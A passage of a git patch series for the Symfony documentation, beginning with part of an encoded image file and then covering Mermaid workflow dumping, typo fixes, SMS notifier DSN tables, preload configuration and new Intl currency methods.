zAY7A)<+5d@uuy=v7XAf|+!Qn;&SG~b@W)WgmyU($!O-3ETdxdi%ePGZ8l@Hx;DC8X
ze9>w9?A9|i-J8f~D2%`le)I0e=4SLWl5>595B!MS-Ai9Z99NXG%QrZK9|6(Tt5?CO
zXBOJqhet<o1t!{ximPf~eaSIgTwGsUR(>{xEODOvsNIE*{li;#?m!>>B=K;4fQT<v
zgqZjXlpTnnP%vCJ&&Y2osWw(wxV6NnS>?QIu>V$1UtiM4RRA#j)~|~?MY}y;+Bf?`
zAfj7XKq%BqlZ;8=Geig@&^07LT(CP!xo^X^<#l@Byk?8u)O0j9)h|H0t0nt7J$D^2
zO>CzG`6A+}si|AKF)=;zn9lKPG&va=w}eEhKz)+oNH?_7zZ-B6O6{uKHM_jA;g`2X
z&vHPdtBZqIB_a*aH#%=xmlTfHFbPMad9MnCDTzxaZrFYLt1gkaiy8XG3(nnfd}L7(
z#~T4#$Td3wN*dan@!4n@0)HTKqUGTYdN>4U-aV+@@ju>X-1a?PPInSC_Nmc<1C;-J
zhd^_K<WXBIV~pnJ=D$Ogq$LRh7L=?&>J*7MkBh{|$3GNhNs?H@_&nL)?3VG^AS`vX
z$2Ev}%q@M#aI^rGj{Ik5g*^X$Nwn8e{YNLq=FodzTi2|ozZx=&%-O4JXzcBb35-C}
zBjfFifB#Yyx_=L0Zg7)DEi9CXKrTg#_1jg;!~vmv@q~ck^51CjPT;g9!UTxFgnZ*<
zyQqgra7s>CL|_A_wpRLgiz2Wu3IMTTf=xq1Q6L;n^ILTTzVVL_+CkObYauV<NHeeb
zGiEI6=M8{g0}Y@P(CP5<^BW+iF@#UVaB9J{p#%`9+PBDKK9&elpy}x7sH0O;mFyP&
z6OO(E?+bFc7eLDX9IfCp#rjqcR#rYj6Tj2O-0a3^qhyc&0yIe+9q;)XIlKOnZ=HXv
z7F;VPI&<bZ&d#AHVEdOf9X)>GhYS&R0xSu%0HSHEO&k+T21vic1WlZ2gp=>uBfCoE
zx#H_m@M!R>L7wV-#<Or=>~f{mWeqYuH*asS<B-x!6^{VLKA~G?4PrVO?zz;0Q(LV;
z!&!X5A$8;6VC80yz5P7#@MkwM0Ih|O8%9hCx1!puV7}~6B_{npj&8GR9}tgwPfqz-
zYiiUIHG-+tt1zGU-zo*nZk)S$tL>d{MSzH<0xy@!?7JEQ){9Fek=DQy#L5I9r%D|L
zu0o6iiP!Io9OB+T_E5Or<xWh*oq<J_g278qt0q#Kqfs=5wWo7umnCY2=w^TZY%w%%
zxm&B9trrvTN%?en+0py^J>89<=G!|vLp>I3Ler-k2TLvkNxX7$3{Q`aOcChl+sb}O
za^>n3CBvSWMwysJMO6NB#gJJh_>t5>^MYxO=WW1hVGQc?`R{Y5RtGQa?|YFv94dU2
zd-sz=gF`0HZeijF2F?p4CIfrY92hMkXwNC=2pjG?n~<K)eseaL@oANJYsXMRe0=}#
zP6Q7vJ>AYwbfGgLh+By{(znxj#(}W<JAq>ep}hwk!pQrqAyC%M%?)ysno;d2MKZT4
zrwRw^qa+moAmbk{eJZ!<8UkVQJ?4_l_4R3xl3nKh7L(>r2O{sHhLg6V{W2y|J0@SO
z$1E0*_hsHiCh%+_E-*lYK}^HZCg(ZoqtN!d%EqHAiPsO~`*PyQsMv!I9HT}|J8+pV
zhbtUev$L~7-12&#kh$>B7gm?G$OTU=pkI82Mfyt0`eM`kDS}SxVX$=cG_;IWFE=;c
z5r?f-j#D&bgS{X18E?o2AgALcO{>SowA6PS5%6Ss79ZcYcerca`1F~#zdXPB6~%&2
z@8TL}sfVF75T-f>O=3`RykBNR1@s^#OaHnT3E0G>W_|YeKTiKuj#^9+Gsn-)Hcx#C
z`goM0p8eNlE83Bfp|FS_Urvr|p-DtC;NTD8hmAL(5O8-QHHoPef`%c35xcZcZ?=Xv
z+>9_ZnoCYD5!@9Hw*Sn4TQzl%;S-_STpv&?=`UGdx&kE3Pw>-1qxoiMks@{k*3aAh
zSO40Ljjse4x=P+aspHUNq{jpn3fxOBky3u9fnA5?0oK{$XwM=xHWJR?9~>O=dU_|w
z#XUo!w6+&$sxF@4VSpcKc~89N-*xw*L{uL+D&GNI(7+)i5$+m@hjb9sX`JMR$vVHT
zBQt(uWv!;5w^t8Ji>_|=CisQJPJt*MF|iO#V0h7ES$TOHR#sL|=^U1^!rWY_=$wNz
zNv!gbaI#=>xLx13><&@uCr^NR7+KivPS8hJb#!%oX}=vb#>3#~?z(hQdZ)NmzJI@4
zVkicQTIW@im0f4r&Szv~fSBzZq{fiOE0+I<%IL_9)x>1X0o{fU4+sAiL8!)Z!zhZ2
zQDO|YC8B%=l(Y44l?9FkLn|vQB~?XcS3V8=VqvH>oSp97sT^{&6i%}KSxeiMTu^Ww
z5(y$@Rn@@*$#PmnQDr~#>-*c|-`>jsp}sdSpHt%eLn1hY>gV>*WTmlrL_zL5O2eoW
zwN@5&1dt`?<nREHpZlIH0`d$bi3(%LvZPV#?P1CvtcSPKq<>j*Qj)B)iV6thZ7S+n
z^tEh+9K;qLKx_-Mae<;bSk6VR)gML%9PaS4tC8UpKYN!0NOCCQZ8otNWs&w={|ZCA
zy28gLJ92Y=BGK>DIw^v6+frTXe;Zy%d2qiG7z(@_LaW%XmSZNJ7im+W%xoLsxmo4^
z^9lqp3Y<fQvYHwwTst5O;uR419m38ojGMG($17%Ain6MNSThkc?AQEuwXG(QiCvgk
zS^{UXvRmrve*^6dMFhoiqVyxLEFRYDzW=ysB)&BbGZ*O8zW5wq>=phSH`0Jtfr_U(
zh=Ae&Dcj9GULJn-V9dWa&bp(RUs#WF&&WcS;Z_Wna-1O0Fa7}mPv+CTfp+PBnFEYq
z7ZC3IkP1GTiBUs<f5|Jy_IfKlX@fEyV^gixw}ZT;R;}KslrUKAO{nMMpqd8dg;3+`
z@+9Oa2V3z}sJ-(D2??=Ddy)|a1qFdkj|R{YOLOKH!-NS*W1kmYi8Ei{I<c{#F4yfu
z=&pq#_!|YPlj+IR6A7S6ZGQECMCK`~5OlK71DS^{^hzMICg|+QjFRhsluiqTwR~$b
zarYaOEmcY7<_aH<e&{qcR`{MX@3Y^`Z?L4)VS-AD2BQnt^(h5}ngh0*n3xzjwxYxU
z&cL9m2l$0o&@^@CpN8L~>;&@jE?z3|$GL^u!!b&$34fc8I<m^R$L$^#UL%bxUbXpz
zU~qa%;biDW$`N9TfZNHy$jFG`lnd^w<5GcpKhJ?WPZc2Aqp?csnYI`>Qq&wA7@7K$
zCSJ~0weHME@o90sB9_mR%^PmxLvpnYR@7jVQ{Ew~`CX(3843_=cV{p7LZWCR$}$2(
z1uQ1STe<{w6_^Ah#n$UnV7|AV8a!Go$bPC&Sib93tT#Q!<4mxw+40J1CBoi2jDeuZ
z?Eq!>-<}66E<yMZMl&P_YU<ERll%hGEP$ahDk>^a(}7N^D^T5l>MJ|TxU;Im`I6L9
z=AF7XXZys>s|~|nO}ZyHXzf<`nwN6Jm;QpLE*^gVNEI~0c{Vo9wFxW&KZ}c-niMOY
zf2eC}Qu6ZhBIT7v5*lzBVS-oIwaxgFml%>2>`I%aSnro2>vXAMTHB}@5xcv1HmB>H
zu>TgMFP?4STlEbL5Cs%&sX(UudaxZEyrEFs+@au&qGM|Mx~fV7+_)^Z7I2?yjBRC}
zT`bdkGQ(xQ>?Lks-ykJ<J~aZ%p!m{cUbY@dens7Kv@tdy4G0bn284G837{-j1O%eM
z2#OX+-H<;Siz_Ouhl?#<GmC^ml`L=9<=Pd?J6kH3{F-}y1&FEG=TIFzxr&Jq@D(-2
z0QAODA{|ryTR1hOUIJL;DufALHNfalw~0<lVuE(ch!H1*eSXa@lX#v}RrFwCtEEqs
z`Z%^TI>%(FFEpe&d->#qj(%csIQLi`E};m}k6)mmlPu}>7ZhTUb3d-&<|YJ0kw|iK
zG9($HG#uR!br;8~iZZGrm%F)^!jn&$M|o2+g$knNI<vfwiwDG4Z?hl+)Vy%v0^(s5
zmz@03^8!kleH+^T-0<JdU%C{TY1wDwS${m%2@VO<Lshdygz=3>(l0J~wDc8iR24`6
z1y*yxb|IAkanEWo^z42W<BE=xp_&KO?jPbBgwGbH-Q)xR*K);X9v{~eA30m<*{kd=
zS05Lu=ky%=woqJ)jsXuB+KhW+Wg9H2mQr7u$N1P={-S(hb5eWs7pM7VV_8{g?YKq^
zVuxMse%oz7Z5Y#|L|>N>>2AoM&2)P_Fa(YnwBzl!OG8)%&uoRcv-GJ9*&_bo0$TiC
zYvglrhh^<uqCyVteIsub;oiW9h#vA6Jp92EH0@DDf3hplUAW-QcWO+|`;y@5ZXn{S
zjAwhJZwO0+3@x0*q)f72ASzJl#{$c+>Y}8WFms1wC4prmxrLHtRuw{aHs?J~2-ILV
z{0ZtDWiA>Fj9SbKGUe>-$LaBrf84CDer{P?`q{PgX>pA67Nwhkv|a(!tl;y?1r((k
zBfFLiBX2aweTvyv)8qaAUQ>1w=h>YXbPZ-De(~T!r|$oTG96j?fziX&Pu#FCd}H}j
zb6zbydww0drd>z%fSF{mJtRJ*V{y1I<{!0`R%4-mw}y6GC)$!*>|?Y?E0tAN%KEPl
z@ECQGvot!5D#<T9X-kAuxSK_2CZV_8Ty0)XT6(Ady`Iq&tDW-yrmxWP{bCk3v!wTU
z<9-~e|EgC;c^2C_9;zK_R<^B_(_<{lIV`D60oAuNA}S#^njzK~E~fB`o1WV0zE9TE
zm$IItIPzUuCwPCwW@39MryoF!K@7?nVqzScqHRA2_PiEqpj4`7hCfRMX84wF=f_Nh
zu7xx)$zP9LJqM>2oL<D0kv?E$9jzI|eJj{s!QEs1cc*cZSD)I5&w5M5PkKPv1G0T3
zzN^JI|J`D;y#Fmg6UDzv9bA0o-^Wn-|MwBT|M!vSr!<WB`-2|{@xBIAc%s`XTFQlr
H51;=R-kNNp

literal 0
HcmV?d00001

diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d1749603155..bbde2240a7d 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -9,8 +9,13 @@ them as SVG or PNG images. First, install any of these free and open source
 applications needed to generate the images:
 
 * `Graphviz`_, provides the ``dot`` command;
+* `Mermaid CLI`_, provides the ``mmdc`` command;
 * `PlantUML`_, provides the ``plantuml.jar`` file (which requires Java).
 
+.. versionadded:: 5.3
+
+    The ``mermaid`` dump format was introduced in Symfony 5.3.
+
 If you are defining the workflow inside a Symfony application, run this command
 to dump it as an image:
 
@@ -28,10 +33,17 @@ to dump it as an image:
     # highlight 'place1' and 'place2' in the dumped workflow
     $ php bin/console workflow:dump workflow-name place1 place2 | dot -Tsvg -o graph.svg
 
+    # using Mermaid.js CLI
+    $ php bin/console workflow:dump workflow_name --dump-format=mermaid | mmdc -o graph.svg
+
 The DOT image will look like this:
 
 .. image:: /_images/components/workflow/blogpost.png
 
+The Mermaid image will look like this:
+
+.. image:: /_images/components/workflow/blogpost_mermaid.png
+
 The PlantUML image will look like this:
 
 .. image:: /_images/components/workflow/blogpost_puml.png
@@ -63,7 +75,7 @@ You can use ``metadata`` with the following keys to style the workflow:
 
   * ``bg_color``: a color;
   * ``description``: a string that describes the state.
-  
+
 * for transitions:
 
   * ``label``: a string that replaces the name of the transition;
@@ -76,6 +88,11 @@ Colors can be defined as:
 * a color name from `PlantUML's color list`_;
 * an hexadecimal color (both ``#AABBCC`` and ``#ABC`` formats are supported).
 
+.. note::
+
+    The Mermaid dumper does not support coloring the arrow heads
+    with ``arrow_color`` as there is no support in Mermaid for doing so.
+
 Below is the configuration for the pull request state machine with styling added.
 
 .. configuration-block::
@@ -310,5 +327,6 @@ The PlantUML image will look like this:
 .. image:: /_images/components/workflow/pull_request_puml_styled.png
 
 .. _`Graphviz`: https://www.graphviz.org
+.. _`Mermaid CLI`: https://github.com/mermaid-js/mermaid-cli
 .. _`PlantUML`: https://plantuml.com/
 .. _`PlantUML's color list`: https://plantuml.com/color

From d3b1f4d1f39db71344f987916c9f8c24c2e5ad77 Mon Sep 17 00:00:00 2001
From: juferchaud <jferchaud@yahoo.fr>
Date: Tue, 13 Apr 2021 19:10:06 +0200
Subject: [PATCH 2056/7107] Fix typo in handler success customization part.
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Backslashes were missing. Reading was difficult, especially at the end of that very complete page 😅 .
---
 security/login_link.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 456cfc706c6..34705d28983 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -660,8 +660,10 @@ Customizing the Success Handler
 
 Sometimes, the default success handling does not fit your use-case (e.g.
 when you need to generate and return an API key). To customize how the
-success handler behaves, create your own
-:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
+success handler behaves, create your own that must implement
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`.
+
+.. code-block:: php
 
     // src/Security/Authentication/AuthenticationSuccessHandler.php
     namespace App\Security\Authentication;

From 369e959d0edc411a1d006781e25da4c732f7245d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 13 Apr 2021 21:09:00 +0200
Subject: [PATCH 2057/7107] Fixing typo

"by" was misssing.
---
 forms.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/forms.rst b/forms.rst
index 17cd593d416..6f244fd7d1c 100644
--- a/forms.rst
+++ b/forms.rst
@@ -695,8 +695,7 @@ Set the ``label`` option on fields to define their labels explicitly::
 .. tip::
 
     By default, ``<label>`` tags of required fields are rendered with a
-    ``required`` CSS class, so you can display an asterisk for required
-    fields applying these CSS styles:
+    ``required`` CSS class, so you can display an asterisk by applying a CSS style:
 
     .. code-block:: css
 

From 1b1f8ffbcf7287e28aad88f0911c9819ca5cefab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Apr 2021 08:59:25 +0200
Subject: [PATCH 2058/7107] Minor reword

---
 security/login_link.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 34705d28983..4e1bfa2d3da 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -660,10 +660,8 @@ Customizing the Success Handler
 
 Sometimes, the default success handling does not fit your use-case (e.g.
 when you need to generate and return an API key). To customize how the
-success handler behaves, create your own that must implement
-:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`.
-
-.. code-block:: php
+success handler behaves, create your own handler as a class that implements
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
 
     // src/Security/Authentication/AuthenticationSuccessHandler.php
     namespace App\Security\Authentication;

From 96bc3ab94cbbd525274dcb22d9b87e3922519983 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 11 Apr 2021 10:08:04 +0300
Subject: [PATCH 2059/7107] [Notifier] [SmsBiuras] add docs

---
 notifier.rst | 45 +++++++++++++++++++++++----------------------
 1 file changed, 23 insertions(+), 22 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 305c433f53d..006c0256b87 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -53,28 +53,29 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==========  ================================  ====================================================
-Service     Package                           DSN
-==========  ================================  ====================================================
-AllMySms    ``symfony/allmysms-notifier``     ``allmysms://LOGIN:APIKEY@default?from=FROM``
-Clickatell  ``symfony/clickatell-notifier``   ``clickatell://ACCESS_TOKEN@default?from=FROM``
-Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms     ``symfony/fake-sms-notifier``     ``fakesms+email://default?to=TO&from=FROM``
-FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
-Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
-Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-LightSms    ``symfony/light-sms-notifier``    ``lightsms://LOGIN:TOKEN@default?from=PHONE``
-Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
-Octopush    ``symfony/octopush-notifier``     ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
-OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
-Sendinblue  ``symfony/sendinblue-notifier``   ``sendinblue://API_KEY@default?sender=PHONE``
-Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi      ``symfony/smsapi-notifier``       ``smsapi://TOKEN@default?from=FROM``
-SpotHit     ``symfony/spothit-notifier``      ``spothit://TOKEN@default?from=FROM``
-Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
-==========  ================================  ====================================================
+==============  ====================================  ===========================================================================
+Service         Package                               DSN
+==============  ====================================  ===========================================================================
+AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@default?from=FROM``
+Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
+Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM``
+FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
+Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
+Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
+Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
+Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
+Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
+SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
+Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+==============  ====================================  ===========================================================================
 
 .. versionadded:: 5.1
 

From eb3accd083240339e36f2574291e678036b8acb2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Apr 2021 11:10:36 +0200
Subject: [PATCH 2060/7107] Added SmsBiuras to the versionadded directive

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 006c0256b87..c8226fd5c81 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -87,8 +87,8 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms and LightSms
-    integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms,
+    and SmsBiuras integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 4836e5d7e52f0970193f8ed06913e19b3a03686e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 14 Apr 2021 15:35:45 +0200
Subject: [PATCH 2061/7107] Added link to
 https://symfony.com/doc/current/mailer.html#configuring-emails-globally

---
 reference/configuration/framework.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 1545f586bf9..3d82c643511 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3207,6 +3207,10 @@ headers
 Headers to add to emails. The key (``name`` attribute in xml format) is the
 header name and value the header value.
 
+.. seealso::
+
+    For more information, see :ref:`Configuring Emails Globally <mailer-configure-email-globally>`
+
 web_link
 ~~~~~~~~
 

From 96ffaa6e9fb14f8b7785291365348994d0acdf7e Mon Sep 17 00:00:00 2001
From: Ivan Yivoff <yivi@users.noreply.github.com>
Date: Mon, 28 Dec 2020 08:47:37 +0100
Subject: [PATCH 2062/7107] Update performance.rst

---
 performance.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/performance.rst b/performance.rst
index b632ee0a227..d710d982449 100644
--- a/performance.rst
+++ b/performance.rst
@@ -106,8 +106,16 @@ make them available to all requests until the server is restarted, improving
 performance significantly.
 
 During container compilation (e.g. when running the ``cache:clear`` command),
-Symfony generates a file called ``preload.php`` in the ``config/`` directory
-with the list of classes to preload.
+Symfony generates a file with the list of classes to preload in the
+``var/cache`` directory.
+
+Rather than use this file directly, when installing with Flex the Framework
+Bundle recipe will create a file called ``preload.php`` in the ``config/``
+directory, which you can use safely, since it includes safeguards in case the
+cache has not been warmed beforehand.
+
+If this file is missing, you can reinstall the recipe by executing
+``composer recipes:install symfony/framework-bundle --force -v``.
 
 The only requirement is that you need to set both ``container.dumper.inline_factories``
 and ``container.dumper.inline_class_loader`` parameters to ``true``. Then, you

From 975137a2580d96cad44d1af54b10dccb072d5577 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Apr 2021 18:00:47 +0200
Subject: [PATCH 2063/7107] Rewords

---
 performance.rst | 17 ++++++-----------
 1 file changed, 6 insertions(+), 11 deletions(-)

diff --git a/performance.rst b/performance.rst
index 2be82670b1b..a1fc408918b 100644
--- a/performance.rst
+++ b/performance.rst
@@ -107,23 +107,18 @@ performance significantly.
 
 During container compilation (e.g. when running the ``cache:clear`` command),
 Symfony generates a file with the list of classes to preload in the
-``var/cache`` directory.
-
-Rather than use this file directly, when installing with Flex the Framework
-Bundle recipe will create a file called ``preload.php`` in the ``config/``
-directory, which you can use safely, since it includes safeguards in case the
-cache has not been warmed beforehand.
-
-If this file is missing, you can reinstall the recipe by executing
-``composer recipes:install symfony/framework-bundle --force -v``.
-
-You can configure PHP to use this preload file:
+``var/cache/`` directory. Rather than use this file directly, use the
+``config/preload.php`` file that is created when
+:doc:`using Symfony Flex in your project </setup/flex>`:
 
 .. code-block:: ini
 
     ; php.ini
     opcache.preload=/path/to/project/config/preload.php
 
+If this file is missing, run this command to reinstall the Symfony Flex recipe:
+``composer recipes:install symfony/framework-bundle --force -v``.
+
 Use the :ref:`container.preload <dic-tags-container-preload>` and
 :ref:`container.no_preload <dic-tags-container-nopreload>` service tags to define
 which classes should or should not be preloaded by PHP.

From b5c7bca1ee1ccb14aadb0f2598abc0fa220084af Mon Sep 17 00:00:00 2001
From: partulaj <jeremie.partula@outlook.fr>
Date: Thu, 15 Apr 2021 13:45:16 +0000
Subject: [PATCH 2064/7107] Fix the filename in the code block

---
 frontend/encore/legacy-applications.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index 36087b88978..c22812d00b8 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -75,7 +75,7 @@ page, add:
 
 .. code-block:: diff
 
-      // webpack.config.js
+      // app.js
 
       // require jQuery normally
       const $ = require('jquery');

From c0a3fdd459fc397e27dbc2df59378e651e64ac1b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 16:40:12 +0200
Subject: [PATCH 2065/7107] [Intl] Document getCashFractionDigits() and
 getCashRoundingIncrement()

---
 components/intl.rst | 44 +++++++++++++++++++++++++++++++++++++-------
 1 file changed, 37 insertions(+), 7 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 1260945a27c..b690482f276 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -262,15 +262,45 @@ as some of their information (symbol, fraction digits, etc.)::
     $symbol = Currencies::getSymbol('INR');
     // => '₹'
 
-    $fractionDigits = Currencies::getFractionDigits('INR');
-    // => 2
+The fraction digits methods return the number of decimal digits to display when
+formatting numbers with this currency. Depending on the currency, this value
+can change if the number is used in cash transactions or in other scenarios
+(e.g. accounting)::
 
-    $roundingIncrement = Currencies::getRoundingIncrement('INR');
-    // => 0
+    // Indian rupee defines the same value for both
+    $fractionDigits = Currencies::getFractionDigits('INR');         // returns: 2
+    $cashFractionDigits = Currencies::getCashFractionDigits('INR'); // returns: 2
 
-All methods (except for ``getFractionDigits()`` and ``getRoundingIncrement()``)
-accept the translation locale as the last, optional parameter, which defaults to
-the current default locale::
+    // Swedish krona defines different values
+    $fractionDigits = Currencies::getFractionDigits('SEK');         // returns: 2
+    $cashFractionDigits = Currencies::getCashFractionDigits('SEK'); // returns: 0
+
+.. versionadded:: 5.3
+
+    The ``getCashFractionDigits()`` method was introduced in Symfony 5.3.
+
+Some currencies require to round numbers to the nearest increment of some value
+(e.g. 5 cents). This increment might be different if numbers are formatted for
+cash transactions or other scenarios (e.g. accounting)::
+
+    // Indian rupee defines the same value for both
+    $roundingIncrement = Currencies::getRoundingIncrement('INR');         // returns: 0
+    $cashRoundingIncrement = Currencies::getCashRoundingIncrement('INR'); // returns: 0
+
+    // Canadian dollar defines different values because they have eliminated
+    // the smaller coins (1-cent and 2-cent) and prices in cash must be rounded to
+    // 5 cents (e.g. if price is 7.42 you pay 7.40; if price is 7.48 you pay 7.50)
+    $roundingIncrement = Currencies::getRoundingIncrement('CAD');         // returns: 0
+    $cashRoundingIncrement = Currencies::getCashRoundingIncrement('CAD'); // returns: 5
+
+.. versionadded:: 5.3
+
+    The ``getCashRoundingIncrement()`` method was introduced in Symfony 5.3.
+
+All methods (except for ``getFractionDigits()``, ``getCashFractionDigits()``,
+``getRoundingIncrement()`` and ``getCashRoundingIncrement()``) accept the
+translation locale as the last, optional parameter, which defaults to the
+current default locale::
 
     $currencies = Currencies::getNames('de');
     // => ['AFN' => 'Afghanischer Afghani', 'EGP' => 'Ägyptisches Pfund', ...]

From ee5ee00fa7005ab3b0ec5cbdbcfd60558734f6f1 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko | CREATION <vasilij@creation.lt>
Date: Thu, 1 Apr 2021 17:50:22 +0300
Subject: [PATCH 2066/7107] * notifier.rst - message bird

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index c8226fd5c81..276fceac5ee 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -65,6 +65,7 @@ GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@defau
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
@@ -87,8 +88,7 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms,
-    and SmsBiuras integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras, and MessageBird integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 1d3e66a9a51d11602995be9fd28b519d1dfdc6b0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 16 Apr 2021 10:00:58 +0200
Subject: [PATCH 2067/7107] minor

---
 notifier.rst | 3 ++-
